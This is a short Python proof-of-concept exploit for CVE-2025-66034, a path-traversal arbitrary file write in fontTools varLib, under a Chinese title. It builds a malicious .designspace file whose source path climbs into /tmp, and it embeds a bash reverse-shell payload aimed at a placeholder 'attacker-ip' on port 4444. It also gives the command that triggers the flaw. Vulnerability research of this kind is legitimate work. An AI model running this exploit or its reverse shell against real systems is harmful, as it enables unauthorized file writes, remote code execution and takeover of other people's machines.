CVE-2025-66034 fontTools varLib 任意文件写入致远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-66034 PoC - fontTools varLib Arbitrary File Write Note: This PoC is for educational and security research purposes only. Do not use for unauthorized testing or exploitation. """ import os import base64 # Create malicious .designspace file with path traversal malicious_designspace = """<?xml version="1.0" encoding="utf-8"?> <designspace format="1.0"> <axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> </axes> <sources> <source filename="../../../../../../../../../tmp/malicious.sh" familyname="Test"/> </sources> <instances> <instance familyname="Test" stylename="Regular"> <location> <dimension name="weight" value="400"/> </location> <glyph name="space" /> </instance> </instances> </designspace> """ # Create the malicious payload that will be written malicious_payload = """#!/bin/bash # Reverse shell or any malicious code # This file would be written to arbitrary location via path traversal /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1 """ def generate_poc(): """Generate PoC files for testing in controlled environment""" print("CVE-2025-66034 PoC Generator") print("=" * 50) print("\nThis vulnerability allows arbitrary file write via") print("crafted .designspace files with path traversal.") print("\nGenerated files:") print("1. malicious.designspace - Malicious designspace file") print("2. malicious.sh - Payload to be written") print("\nUsage:") print("python3 -m fontTools.varLib malicious.designspace") print("\nNote: Test only in isolated environment!") return { 'designspace': malicious_designspace, 'payload': malicious_payload } if __name__ == "__main__": generate_poc()